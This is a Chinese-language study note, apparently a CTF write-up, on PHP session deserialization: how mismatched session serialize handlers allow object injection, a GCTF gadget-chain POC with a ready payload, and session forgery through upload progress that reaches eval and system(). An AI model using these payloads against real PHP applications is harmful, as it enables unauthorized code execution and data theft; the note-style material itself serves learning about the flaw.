1. 程式人生 > 其它 >反序列化session利用總結

反序列化session利用總結

漏洞原理

參考;https://www.jb51.net/article/116246.htm

https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#PHP%E7%9A%84session%E6%9C%BA%E5%88%B6

session的基本用法

當開始一個會話時,PHP 會嘗試從請求中查詢會話 ID (通常通過會話 cookie), 如果請求中不包含會話 ID 資訊,PHP 就會建立一個新的會話。 會話開始之後,PHP 就會將會話中的資料設定到

$_SESSION 變數中。 當 PHP 停止的時候,它會自動讀取 $_SESSION 中的內容,並將其進行序列化, 然後傳送給會話儲存管理器來進行儲存。

在學習 session 反序列化之前,需要了解這幾個引數的含義。

Directive 含義
session.save_handler session儲存形式。預設為files
session.save_path session儲存路徑。
session.serialize_handler session序列化儲存所用處理器。預設為php。
session.upload_progress.cleanup 一旦讀取了所有POST資料,立即清除進度資訊。預設開啟
session.upload_progress.enabled 將上傳檔案的進度資訊存在session中。預設開啟。

如果在PHP在反序列化儲存的$_SESSION資料時使用的引擎和序列化使用的引擎不一樣,會導致資料無法正確第反序列化。通過精心構造的資料包,就可以繞過程式的驗證或者是執行一些系統的方法

三種session引擎(進行反序列化)

php_binary:儲存方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函式序列化處理的值
php:儲存方式是,鍵名+豎線+經過serialize()函式序列處理的值
php_serialize(php>5.5.4):儲存方式是,經過serialize()函式序列化處理的值
//舉例說明
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);
 
php_serialize 引擎下,session檔案中儲存的資料為:
a:1:{s:4:"name";s:6:"spoock";}

php 引擎下,session檔案中儲存的資料為:
name|s:6:"spoock";

php_binary 引擎下,session檔案中儲存的資料為:
names:6:"spoock";

如果檔案如下
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
?>

在另一個頁面有如下程式碼
<?php
class A {
public $a = 'aa';
function __wakeup() {
echo $this->a;
}
var_dump($_SESSION);
?>

此時是利用php引擎(預設的引擎)去讀取該反序列話引擎儲存的資料時,就會發生
session["a:1:{s:4:"ryat";s:30:""]=>
object(A)#1 (1) {
["a"]=>
string(2) "xx"
}

//可以發現|之前的都被當成了鍵名,之後的作為物件被反序列化

例項一:ctfshow 263

直接檢視ctfshow 反序列化專題

例項二:GCTF上的一道session反序列化漏洞分析:

 //query.php 部分程式碼
 session_start();
 header('Look me: edit by vim ~0~')
 //……
 class TOPA{
   public $token;
   public $ticket;
   public $username;
   public $password;
   function login(){
     //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
     $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
       return 'key is:{'.$this->token.'}';
     }
   }
 }
 class TOPB{
   public $obj;
   public $attr;
   function __construct(){
     $this->attr = null;
     $this->obj = null;
   }
   function __toString(){
     $this->obj = unserialize($this->attr);
     $this->obj->token = $FLAG;
     if($this->obj->token === $this->obj->ticket){
       return (string)$this->obj;
     }
   }
 }
 class TOPC{
   public $obj;
   public $attr;
   function __wakeup(){
     $this->attr = null;
     $this->obj = null;
   }
   function __destruct(){
     echo $this->attr;
   }
 }
 

POC

$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;

分析:

構造一個TOPC,在析構的時候則會呼叫echo $this->attr;
將attr賦值為TOPB物件,在echo TOPB的時候會自動呼叫__tostring魔術方法
在__tostring中會呼叫unserialize($this->attr),因為後面用到token和ticket,
所以顯然是TOPA物件。後面判斷需要$this->obj->token === $this->obj->ticket,
所以在序列化的時候進行指標引用使$a->ticket = &$a->token;,即可繞過判斷。
(string)$this->obj會輸出flag 

payload

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

3.偽造session

原理:

session.upload_progress.enabled INI 選項開啟時,PHP 能夠在每一個檔案上傳時監測上傳進度。 這個資訊對上傳請求自身並沒有什麼幫助,但在檔案上傳時應用可以傳送一個POST請求到終端(例如通過XHR)來檢查這個狀態。
當一個上傳在處理中,同時POST一個與INI中設定的session.upload_progress.name同名變數時,上傳進度可以在$_SESSION中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION中新增一組資料, 索引是session.upload_progress.prefixsession.upload_progress.name連線在一起的值。

例題:

可以看到題目環境中的 session.serialize_handler 預設為 php_serialize 處理器,而程式使用的卻是 php 處理器,而且開頭 第4行 使用了 session_start() 函式,那麼我們就可以利用 session.upload_progress.enabled 來偽造 session ,然後在 PHP 反序列化 session 檔案時,還原 OowoO 類,最終執行 eval 函式。

構造payload

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO{
    public $mdzz;
    function __construct(){
        $this->mdzz = 'echo system("pwd");';
    }

    function __destruct(){
        eval($this->mdzz);
    }
}
$_SESSION['payload'] = new OowoO();
// 生成session檔案內容為:
// payload|O:5:"OowoO":1:{s:4:"mdzz";s:19:"echo system("pwd");";}
?>

抓包
把POST的name值改為同名值

<form action="http://localhost/demo.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

那麼怎麼session的鍵名有了(與POST的變數),鍵值從哪裡讀取呢

可見只要把filename改成我們的payload即可

還有一些值得看的文章沒看完

https://www.freebuf.com/vuls/202819.html

https://blog.csdn.net/Zero_Adam/article/details/116310107